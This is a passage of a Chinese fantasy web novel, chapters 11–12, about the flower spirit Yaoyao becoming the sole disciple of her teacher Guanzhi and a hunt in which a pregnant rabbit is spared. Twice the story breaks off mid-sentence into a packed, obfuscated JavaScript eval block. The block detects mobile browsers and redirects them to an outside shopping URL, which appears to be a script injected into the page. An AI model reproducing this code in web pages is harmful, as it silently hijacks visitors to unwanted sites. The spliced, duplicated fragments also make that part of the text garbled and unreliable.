瑶瑶其实感受到了后面的目光,但如果说以前那些目光就像她甩不掉的苍耳,如今感受到的目光则像心烦意乱睡不着时窗外那绵延不断、不可忽视的细雨。 她想要回头告诉他们别看了,但是抬头一看,却见观止目光正在看着她,目光沉沉如水,并不严厉,却让她意识都变得凝涩。 她不知道他目光代表什么,然而恍惚间她仿佛可以感觉到。 ——她现在不能回头,不能去看。 她回头了,老师就会生气,老师如果生气了…… 她思绪稍停,意识被枝头叽叽喳喳的鸟叫声带偏,念头却随之浮现出来,心也跟着一点点沉下,如同缓缓滴落的水珠,在寂静夜里发出空灵缓慢的滴答声。 ——如果老师生气了,或许就会和老柳树、柳絮姐姐他们一样,总会说着她听不懂的话,温和笑着,但是却找借口离开。 到那时候,或许,老师也一样不要她了。 11. 第十一章 观执本来还担心自己的视线这朵花看不懂,好在她还没“笨”到那个份上,看着她盯着他好一会,最后终于闭上了嘴,观执还是欣慰的。 幸好,总算还有点察言观色能力,把嘴闭上了,没有再继续她的“诚实”。 但是看她乖乖闭嘴,观执意识却忽然跟着一起飘忽。 ——他不是让她学得坦诚吗,为何此刻又制止了呢? 恍惚里,那个问题再次在他脑海深处浮现。 “老师,蘑菇鲜艳的边界在哪里?” 观执觉得,他似乎……真的无法回答这个问题。 * 课间的时候,瑶瑶正坐在蒲团上抓着自己腰带玩,她打了一个个结又松开一个个结,脑子里还不断回忆观执那个眼神。 他是在制止吗,为什么要制止,不是他说有话就问吗,那她现在……还要不要问呢? 他是新来的,不清楚她的不好,瑶瑶恶劣地想,只要她展现“好”的一面,绑住他,让他不要和其他人接触,那或许她就有了好朋友。 而且这个好朋友还是自己老师,那她以后就不会再是一朵花了。 可是她刚刚看他那个眼神…… 瑶瑶陷入茫然的思绪里,感觉脑海里似乎笼罩了一层看不透的烟雾,直到她肩膀被人轻轻悄悄一拍,然后柳絮姐姐就在她旁边坐下:“小花妖啊,今天你忽然和夭夭说那些,是发生什么事情了吗,如果发生了你可以和我说哦,我可以帮你想想呀。” 柳絮姐姐就像往日一样和她说话,在其他人不愿意搭理她的时候,她总会过来问她一些问题。 虽然她不太懂,为什么有时候她会和她说话,虽然是森林里聚会没有带着她的意思,但是会在她被桃花妖欺负的时候和她聊天,可是她却又和桃花妖玩得最好。 那些环绕地好和不好,就如同森林里迷茫的雾气,让她捉摸不透。 太多问题笼罩下来,瑶瑶发现自己都不知道怎么问出来,但唯有其中一个,她尚且还算明确。 “为什么还要叫我小花妖呢?”瑶瑶看着面前的柳絮姐姐,不太明白她为什么还要叫自己这个名字,“你明明知道我有名字啦,我叫瑶瑶。” 柳絮姐姐:“……” 她脸上闪过一份错愕,但是很快又笑起来:“原来是这样吗,我一直不知道,你有名字啦?” 瑶瑶抿了抿嘴唇,更加不明白了,明明柳絮姐姐已经听见了,所以秉承着实话实说的品格,她虽然不开心,但还是有些小声的补充了上去:“老师叫了我好多次了,而且你也问过我老师的事情,你之前没听到吗?” 柳絮姐姐:“……” 她笑容已经有些僵硬了:“我……” 看她如此,瑶瑶觉得自己可能明白了,她恍然的“哦”了一下,给她找了一个自己可以理解的理由:“你是不是不喜欢这么叫我,你为什么不喜欢这么叫我。” 柳絮姐姐:“………” 柳絮姐姐最后也没有回答,反而只是匆匆说了一句自己有事,就落荒而逃,瑶瑶看着她的背影,心中却愈发笃定,她没有“事情”,只是不愿意回答而已。 就和那些无数个“不知道”一样。 但是为什么要这样呢? 如同连为什么生气都说不清楚的桃花。 难道那些人连自己到底在想什么也不知道么? 下课以后,瑶瑶还耷拉脑袋,还有些丧气地整理衣装,上次是观止老师和她一起回去,今天他还会吗? 瑶瑶收拾自己裙摆的速度都慢了下来,她努力想要自己不抬头,但是余光却忍不住往观止老师那边看,就连手上都在忙活,免得被看出来她是故意在等他。 可是她等了许久,观止老师那里都没有反应,瑶瑶正有些好奇,以为他是不是有事,或者已经离开了,但是转头一看,发现正是柳絮姐姐站在观止前面,正在问她什么问题。 瑶瑶抓着腰带的手微微一顿。 好吧,看起来老师还有事情,她还是不要打扰他了。 这念头一落,她就站了起来,但是脚却觉得空落落的,像是她的根系飘飘忽忽扎在泥土里头,而没有彻底扎根,觉得整株花似乎都有些摇摇欲坠。 模模糊糊的,她还听到柳絮姐姐声音从那边飘来:“小花妖心思敏感,但是夭夭也不是坏孩子,只是脾气耿直了一点,有时候没明白小花妖心里在想什么,不过不说夭夭,我有时候确实也有点想不明白呢,这孩子从外面来的,似乎的确和我们不一样。” 柳絮姐姐从来没和她说过那么长的话,如今听来,瑶瑶只觉得脑子更加混乱。 什么叫做桃花妖耿直,是说她诚实吗? 那为什么她今天问桃花那些问题的时候她不会回答。 什么又叫做不坏,她平时欺负她翻她白眼还会和小柳树一起推搡她也不叫坏吗? 那她是不是也可以这样这样回去呢。 为什么又说“不知道她在想什么”?她的思维原来高深到很难理解吗? 瑶瑶想了半天,觉得实在没办法理解这里的东西,只觉得这个世界好复杂,看起来她除了是一朵没礼貌的笨蛋花,还是心思深沉的坏花。 等等,不对劲! 瑶瑶忽然想到,心思深沉是聪明意思吧? 把柳絮姐姐是说她虽然坏,但是聪明吗? 那她还是“心思深沉”好了。 瑶瑶认真思考了片刻,接受了这个评价,然后就走到观止老师面前,低着脑袋,一言不发站着,努力开始心思深沉。 感觉到瑶瑶过来了,还一句话不说,不知为何,观执忽然觉得后背有些发凉,自己又有什么奇怪的地方,但是面上还是不咸不淡回应那颗柳树:“瑶瑶是我的弟子,自会照看,柳絮姑娘不必多说。” 瑶瑶没说话,老师好像回答了,又好像没回答,那老师到底认为不认为她是聪明花呢? 但是听到这句,柳絮姐姐脸色却白了白,之后若有深意看向她,最后方才一笑:“那自然是弟子往日和小……瑶瑶住得近,自然照看的多,你说是不是啊瑶瑶?” 眼看着话题莫名转到自己身上,瑶瑶愣了愣想起过去自己帮柳絮干得活,确实柳絮姐姐陪她说了好多话,比起那些不搭理她的,应该是照顾吧,遂点了点头。 柳絮这才看起来像是松了什么气,再向观止老师看去:“所以,弟子……” 她话未说完,观止老师却像是想到了什么,忽然有些严肃看向她,声音清泠泠:“柳絮姑娘,有一事还请你清楚。” 柳絮姐姐不知道为何,脸色忽然白了白,瑶瑶就看见她这老师看了看她,然后又看了看柳絮姐姐,似乎郑重其事开口:“教你们是因为我暂留无尽森,为报榕仙之恩,但是……”说到这里,他目光又重新落到了瑶瑶身上,“你们是我学生,瑶瑶才是我弟子,这一事,劳烦柳絮姑娘分清。” 柳絮姐姐:“………” 瑶瑶看到似乎向来温柔又会说话的柳絮姐姐忽然彻底白了脸色,她声音像是凝滞在风里:“老师……” 瑶瑶却看见观止并没有再继续回答的意思,而是看向了自己:“走吧,瑶瑶。” 瑶瑶回过神,虽然有些不明白到底发生了什么,但是她还是“哦”了一声:“好的老师。” 却没想到观止老师的脚步一顿,表情有些奇怪看了她一会,瑶瑶看不懂,只能听懂他后面的提醒:“叫师父。” 瑶瑶:? 她更加迷惑看着他,很想问一句为什么?老师和师父不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125841|196065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样吗?好像不一样……但是具体哪里不一样呢? 她非常想问,但是见观止这样看着自己,如同当时课上那一眼制止,让她把话给吞了回去,只是顺着他的意思点了点头:“好的师父。” 观止……师父看起来松了一口气。 “好,”他说,“回家吧。” 瑶瑶看了看说“回家”的观止,明明她觉得自己应该开心的,但是此刻她觉得像是透过水潭看月亮,除了流水波光,还有云雾的遮挡,一切朦朦胧胧,让她看不清“师父”的背后,到底还有什么。 她便安静跟在观止后面走着,一路都没说话,只有滴答滴答的水声。 森林里还有昨天落的雨,积攒在树叶上,随着走动滴答滴答地被风吹落,在脚下落叶和苔藓吸饱了水,有些地方还积了一些小水坑,若是在平时,瑶瑶一定直接提着裙子开始跳水坑玩了,但是她这次没有跳,而是一下下规规整整的踏过每一个小水坑,仿佛按照一个心中既定的规律。 观止收了她做弟子。 瑶瑶想起之前她没问问出来的“这么多都是你的弟子么?” 但是她不敢问,但是此刻她似乎听到了那个答案。 观止的回答的是“是”,她似乎真的是唯一的那个“弟子”。 可是此刻得到了这个梦寐以求的答案,瑶瑶却有些恍惚了,这种恍惚像是有时候午后睡醒,看到满满夕阳,但是房间里却只有她一个,隔壁柳絮姐姐家却欢声笑语的恍惚。 也像是她有时候在洗澡,水大多都凉了,但是还带着一点暖意,但是泡着泡着,却总觉得皮肤上附着着一片凉意。 一切似乎正好,但是一切飘忽如同长在花盆角落的的幼苗,无法扎进大地,无法抓住土壤,仿佛只要轻轻一碰,就脆弱得倒下。 “瑶瑶,”就在她沉浸在那片似是而非的恍惚里的时候,瑶瑶听到了前面传来的声音,她这位……师父,停下脚步,就略微俯下身,停下脚步,温声问她:“为何不说话,是有话要问为师吗?” 瑶瑶觉得观止有时候是真聪明,非但有问就答,虽然他也有好多不知道的事情,但是不知道他就说不知道,不像是其他小妖一样总喜欢糊弄她。 然而听到此刻她的问题,瑶瑶张了张口,却忽然有些不知道要不要问。 然而她这位“师父”,却只是笑了笑,仿佛一切尽在掌握,就让她想到了平日里榕树爷爷看着他们闹腾,大多时候不说话,但是偶尔说话却总能让其他人安静,也总能说出一二来,仿佛什么事都逃脱不了他的掌控。 此刻,瑶瑶便是感觉到这种铺天盖地的笼罩,让她觉得自己被什么包裹在内,保证了她的安全,也限制了她的行动,像是柳絮姐姐养的那些盆栽——总喜欢修修剪剪,让它们长出她心仪的模样。 此刻观止的目光,就给她这样的感觉。 瑶瑶觉得有些不舒服,但是这种不适如同裹挟细雨的风,水气和风无法拆分,时不时就会迎面而来,她也只能接受不够纯粹的雨,和不够纯粹的风。 于是,她就问出来了:“老师是真的想收我做徒弟吗?” 她这话一出,果然看见观止微微一笑,正想开口,然而,瑶瑶认真看着他,抓着自己的袖子,听到自己心脏扑通扑通地跳动,似乎有什么嫩芽跃跃欲试,蓄势待发,明知外面风雨飘摇,却依旧挣扎想要长出土壤。 “可是我觉得……”瑶瑶观察着他,看着他的眼神,也感觉着划过耳边带着潮气的风,也感受到凝滞的气流,像是她玩过的麦芽糖,“你不是很愿意呢,就像是我有时候会觉得榕树爷爷说话烦,脑子一热就说他挡我阳光,那你也是吗,你也是当时‘脑子一热’所以收我做徒弟吗?” 如此一说完,周围骤然安静下来。 12. 第十二章 观执:“……” 望着那双澄澈的眼睛,他的笑容刹那间僵住了,那些将要说出来的,关于“缘法”与“责任”的说辞,全部被这“脑子一热”的话给吞了回去。 他甚至觉得,在她的“脑子一热”面前,自己那些话,显得是如何的冠冕堂皇,仿佛是一束透亮的光从窗户落下,瞬间照亮了空气里飞扬的尘土。 他那些原本不可知的,或许连自己都未曾察觉的心思,就这样被毫无遮掩又无所顾忌地曝晒在阳光下。 那些心思显得如此的苍白且……虚伪。 瑶瑶低着头,她觉得周围的空气更加凝滞了,观止也一直没有开口。 但是正是如此,瑶瑶在此刻也真正确认了下来,如果说先前那感觉是摇摇欲坠的游丝,像是扎不进土壤的根系,但是此刻,这个根系终于不再摇摇欲坠,因为——已经被人直接连根拔起,彻底离开了这片不属于它的土壤。 如果说之前是悬而未决的犹豫,现在她抓住了这个“犹豫”的浮木,打开一看,才发现确实是自己所预料的空心。 但是看到了,又能如何? 如同柳絮姐姐的“不那么喜欢”,她只能把这个浮木合起来,接受这个事情。 不是心照不宣的沉默,而是她面前那片鲜亮但是模糊的幻影终于随着她此刻的话语掀开了帘幕,让她明确了里面并非什么明艳的花团锦簇,而是大片的腐朽斑驳,虽然心痛,也让她这终于不再奢求于心中的幻影。 瑶瑶不再说话了,她心平气和接受了这一切。 观执看着面前新收“弟子”,她看起来没有他预想里的难过,也没有设想里的温婉微笑,而是露出这一副——早就知道如此的表情。 她看起来垂头丧气,气息都低落了好多,就像是一株没了生气的花草。 观执忽然有些不忍,他想告诉她,他并非如她所想的那般,即便有许许多多幽微的考虑,但是他那一刻也是真的想要收她为弟子。 但是这些“想”,就在她那“脑子一热”面前溃不成句,苍白无力。 “我……”观执张了张口,他没有解释缘由,也无法解释缘由,甚至也不能告诉她‘不知道’,想了半天,他总算找到一个东西,方才严肃看着她,郑重开口,“为师或许‘教过’许多学生,但是唯有你是我的弟子,也唯有你叫我师父。” 但是话语一落,观执却莫名觉得这个“唯有”有些可笑。 喊他师父……在如今这朵花眼里,是什么很厉害的事情吗? 但是他唯有这,这只有这,是能给出的,如她一般最纯粹的东西。 唯一…… 瑶瑶听到这个“唯一”,她眨了眨眼,能感觉到自己在心里“哦”了一下,心中像是被注入一点活泉,但是声音却还没发出来。 她只是有些好奇的看着面前她这位“师父”,如果说之前他看起就像是一副凝着愁云的画,但是此刻,这幅画的雾气散开,就像月亮从迷雾里出来,从水潭里捞出,落在她手中的那个陶瓷碗里。 虽然依旧影影绰绰,高不可攀,但是却又这样被她捧在掌心。 带着一点……难以言喻的疲惫和伤心,就像她采蘑菇走了好久好久路却没踩到多少的恍惚和疲惫。 但是即便如此,瑶瑶忽然有些开心起来,听着这个“唯一”,她觉得心中一下下轻快地下起了雨,落在高低不同的器皿里,发出空灵且动听的音乐,她听到自己声音有些压低,心中的鼓点几乎要跃出心脏:“只有我喊你师父吗?” 面前的人似乎微微一愣,继而他反应过来,认真地点了点头。 瑶瑶真的笑了起来,方才那股盘旋在心口的雾气仿佛因为这句话消散,她开开心心重重“嗯”了一声:“好,师父。” 随着她话音落下,她就看见面前的人一愣,似乎有些不可思议看着她。 瑶瑶感觉到了他目光,以为他又要后悔了,她屏住了呼吸,有点紧张,还有点小心看他。 过了许久,她又听到那人声音,有些飘忽,有些费解,还有些困惑:“就……这样?” 瑶瑶:? 那还要哪样,是跪地拜师礼吗,可是她不太会啊,而且地好脏,她新衣服不想弄脏。 所以她就认真点点头,让自己表情十分诚恳,以表现此刻的诚意:“嗯!” 观执:“…………” 观执感觉到自己脑海里盘旋出一个疑问,他有些迟疑且诧异看着面前的花……哄好了? 就这样哄好了? 没再问他其他什么奇怪问题吗? 观执甚至都已经准备好,如果她非要询问,那他也只能……稍稍透露一些无关紧要的东西,但是却没想到,他准备的话还是没有用上,这朵花就自顾自的跳着水坑往前走了,啪嗒啪嗒,溅起的水珠沾湿了她的裙摆,也沾惹了他的衣袖,甚至她还听到那朵花问他。 “那师父,我们晚上吃什么?” 观执:“……” 观执:“………………” 他听到自己声音都恍惚了,神魂像是飞到了天外,唯有身体还在回答他:“不吃蘑菇了,”他说,“为师带你去猎几只兔子。” * 瑶瑶很开心,观止收她时候,她感受到了他当时恍惚,但是她不知道到底是太突然她还没准备好,还是太突然他还没准备好。 她已经强行“逼”过他喝药了,她不允许自己再逼迫他收徒,收徒和喝药不一样,那是一辈子的事情,她不想要他“一辈子”后悔,自然也不想要他也“脑袋一热”。 当然,也有那么一点微不足道的,她想要他完全愿意,没有任何勉强。 他们都说她心思敏感,瑶瑶不懂敏感到底代表什么,但是她知道这不是好话,可就算这样,她也想要他收得纯粹。 唯有如此,她才觉得自己根系扎到土里。 但是观止没有给她这个期望,可后面说得“唯一”她听到了,这个似乎是真的,是纯粹的,即便他收她为徒不那么愿意,但是既然唯一是真的,那……收徒也是愿意的吧。 瑶瑶如此说服了自己,觉得自己全身的刺都柔顺了下来,像是水里随水流摇摆的青苔,舒服得就像快乐在水坑里跳跃。 无尽森除了他们这些草木花灵以外,自然还栖居一些小动物,有些动物没有长出灵识,自然就成了他们的盘中餐。 瑶瑶灵力不济,平日里根本不可能自己打猎,她平时吃得都是蘑菇……哦,想到这里,瑶瑶松了一口气,还好没有蘑菇精,否则她连蘑菇都没得吃。 和观止在森林里走了一段时间,忽然,他像是看到了什么,瑶瑶就看见面前金光闪过,一个用灵力凝结而成的弓箭就出现在他手里,映着莹白修长的指尖,观止拉开了弓箭,瑶瑶就看见他正对着前面一只雪白的兔子。 “哇。”瑶瑶听见自己发出一声惊叹,弓箭随即飞驰而出,眼看就要命中那只兔子,却不知道从哪里冲出来一只野猪,硬生生挡在了兔子面前,用皮糙肉厚的自己,硬生生阻挡了这只灵刃。 于是她一声惊叹哽在喉咙里,看了看旁边的观止,虽然这情况和想象里不同,但是她还是本能地、贴心地补充了一句:“啊……野猪,野猪也挺好的,要不……” 话未说完,只见原本沉默的观止忽然对着她抬起手。 就在他的手即将落下的那一刻,瑶瑶几乎下意识抱了抱头,整个往后一歪,整个动作行云流水,等到反应过来时候,瑶瑶自己都懵了一下。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125842|196065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但与此同时,一个念头跃入脑海,让她分不清先后。 哦,想起来了,在小时候,她的刺还没长出来,很多小妖有时候总喜欢对着她的头来那么一下。 观止的手却没有落下来,反而只是在离着她脑袋半寸的位置停下,他似乎愣了愣,有些诧异,还有些小心的问她:“瑶瑶?” 微微上扬的语调,像是在询问。 瑶瑶垂了垂眼,她不知道自己今日为何如此,脑海里此刻并没有什么画面闪过,她只是觉得往昔那些回忆似乎凝结成了浓稠的液体,包裹在她周围,哪怕此时那些事情已经是很遥远的事情,但是她却觉得自己方才那个行为,仿佛被拉到阳光下曝晒,所有她想要掩盖的一切都一览无余。 她不想被观止知道,也无意为过去的自己驻足,只有此刻自己身体竟然记住这一切的茫然,以及……害怕被观止发现惶恐,她呆呆站了片刻,什么都没有说,匆匆就朝着面前跑去,似乎什么都没发生:“我,我去看看前面怎么样了。” 观止也没有问,只是安安静静跟在她的后面,也没有再对她抬手。 瑶瑶过去的时候,发现那只野猪还挣扎地爬起来,想对她摆出进攻的姿势,但是观止的弓箭射住了它的后腿,硬生生阻挡了它的行动,至于后面那只兔子……并没受伤,似乎受到巨大的冲击,已经直接昏死过去。 兔子看起来白白嫩嫩,尤其肚子,还圆滚滚的,雪绒绒一团,倒是挺可爱。 观止只看了一眼,很快就明白过来了:“是只怀孕的母兔。”他俯下身,就对着那只野猪说话,“你开了灵识,是想救它们?” 野猪没有说话,只是紧紧看着他,眼里似乎真的能看出情绪,瑶瑶甚至看到它的气一呼一呼的,不知道是气的还是疼的。 “既然如此,我也不会伤它们,”观止挥了挥手,把弓箭化去,顺便帮它的腿伤也治了,“去吧。” 野猪感觉到自己身上的伤好了,似乎有些吃惊,它看了看观止,又看了看身后的兔子,似乎有些不太敢置信。 “母兔怀子,吾不愿杀,你以命相护,此情可感,吾不忍杀,”他伸出手,像是安抚孩子,安抚天上的上神赦免生灵一般,轻轻拍了拍它的鼻子,“去吧,好好修行,必有所成。” 此刻野猪似乎才逐渐回过神来,他迟疑了一瞬,用后腿跪下,对着他们行了一个跪礼,这才把兔子往身上一捞,消失在森林的尽头。 看着野猪已经消失了,观执方才重新看向身边这朵花,从刚刚开始,她就不知道在想什么,可叹他能看透世间万物,却唯有这朵花的心思让他完全不能猜测,此刻见她对着远方发呆,习惯性地就把她归为自己尚可理解的体系:“瑶瑶可明白为师方才为何不杀。” 瑶瑶回过神,看着面前询问自己的师父,她不知道他为什么问出这么一个显而易见的问题,他刚刚不都自己说了吗,但是还是老老实实回答他:“母兔怀孕了,”她顺便回忆了下以往的事情,“无尽森里,榕树爷爷也不让我们五月的时候捕鱼。” 这倒是实话,观执还算欣慰,然后又继续问她:“瑶瑶可知这是为何?” 瑶瑶想了想,发现想不出来,她脑海里刹那间想过无数可能,比如那时候的鱼比较小刺比较多,比如那时候的鱼不好吃,或者干脆就是那时候榕爷爷要自己一棵树去钓鱼,但是无论是什么,似乎和此刻的答案都不匹配,她认认真真想了很久,最后终于得出一个她觉得看起来似乎说得过去的理由。 “因为……”瑶瑶眼睛一亮,终于想到了一个可能,“师父是好人,师父从不杀生。” 但是这话一出,她自己先给自己驳回了。 不对啊,师父不杀生,那刚刚带她打猎又是什么意思?